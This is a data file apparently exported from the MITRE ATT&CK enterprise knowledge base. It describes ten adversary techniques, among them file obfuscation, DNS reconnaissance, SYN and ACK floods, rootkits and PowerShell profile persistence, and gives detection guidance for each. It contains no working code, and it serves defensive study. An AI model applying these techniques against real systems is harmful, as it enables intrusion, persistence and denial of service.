attack-pattern | attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-29T12:38:17.135000" | "2024-04-19T04:03:07.164000" | Encrypted/Encoded File | Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.
This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.
The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.
For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File)
Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/013"
},
{
"description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "File obfuscation",
"url": "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/"
},
{
"description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "SFX - Encrypted/Encoded File",
"url": "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:59:11.695000" | "2021-04-15T03:31:05.302000" | IP Addresses | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/005"
},
{
"description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "WHOIS",
"url": "https://www.whois.net/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T15:27:18.581000" | "2023-03-30T21:01:51.289000" | OS Exhaustion Flood | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1499.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1499/001"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Cloudflare SynFlood",
"url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"
},
{
"description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Corero SYN-ACKflood",
"url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html"
},
{
"description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Arbor AnnualDoSreport Jan 2018",
"url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:26.496000" | "2023-03-30T21:01:50.568000" | Rootkit | Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)
Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1014",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1014"
},
{
"description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "CrowdStrike Linux Rootkit",
"url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
},
{
"description": "Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "BlackHat Mac OSX Rootkit",
"url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
},
{
"description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "Symantec Windows Rootkits",
"url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
},
{
"description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "Wikipedia Rootkit",
"url": "https://en.wikipedia.org/wiki/Rootkit"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T15:11:02.758000" | "2023-10-20T17:04:13.976000" | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/013"
},
{
"description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
"external_id": null,
"source_name": "Wits End and Shady PowerShell Profiles",
"url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
},
{
"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
"external_id": null,
"source_name": "ESET Turla PowerShell May 2019",
"url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
},
{
"description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
"external_id": null,
"source_name": "Malware Archaeology PowerShell Cheat Sheet",
"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
},
{
"description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
"external_id": null,
"source_name": "Microsoft About Profiles",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
},
{
"description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
"external_id": null,
"source_name": "Microsoft Profiles",
"url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:
* <code>$PsHome\Profile.ps1</code>
* <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
* <code>$Home\\\[My ]Documents\PowerShell\Profile.ps1</code>
* <code>$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-23T19:12:24.924000" | "2021-08-16T21:02:05.142000" | JavaScript | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/007"
},
{
"description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "NodeJS",
"url": "https://nodejs.org/"
},
{
"description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "JScrip May 2018",
"url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
},
{
"description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "Microsoft JScript 2007",
"url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
},
{
"description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "Microsoft Windows Scripts",
"url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
},
{
"description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
"external_id": null,
"source_name": "Apple About Mac Scripting 2016",
"url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
},
{
"description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
"external_id": null,
"source_name": "SpecterOps JXA 2020",
"url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
},
{
"description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
"external_id": null,
"source_name": "SentinelOne macOS Red Team",
"url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
},
{
"description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
"external_id": null,
"source_name": "Red Canary Silver Sparrow Feb2021",
"url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
},
{
"description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
"external_id": null,
"source_name": "MDSec macOS JXA and VSCode",
"url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.
Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 2.1 |
attack-pattern | attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:47:10.102000" | "2022-10-21T14:32:48.393000" | DNS | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/002"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Sean Metcalf Twitter DNS Records",
"url": "https://twitter.com/PyroTek3/status/1126487227712921600/photo/1"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:34.528000" | "2024-01-23T22:53:18.389000" | Audio Capture | An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1123",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1123"
},
{
"description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
"external_id": null,
"source_name": "ESET Attor Oct 2019",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-10T16:03:18.865000" | "2024-02-15T14:14:03.942000" | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)
Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.
Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1543",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543"
},
{
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "AppleDocs Launch Agent Daemons",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
"external_id": null,
"source_name": "TechNet Services",
"url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
},
{
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "OSX Malware Detection",
"url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques.
Monitor for changes to files associated with system-level processes. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:44.421000" | "2023-03-30T21:01:36.318000" | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
] | false | [
{
"description": null,
"external_id": "T1133",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1133"
},
{
"description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
"external_id": null,
"source_name": "Volexity Virtual Private Keylogging",
"url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
},
{
"description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
"external_id": null,
"source_name": "MacOS VNC software for Remote Desktop",
"url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
},
{
"description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Unit 42 Hildegard Malware",
"url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
},
{
"description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Trend Micro Exposed Docker Server",
"url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.
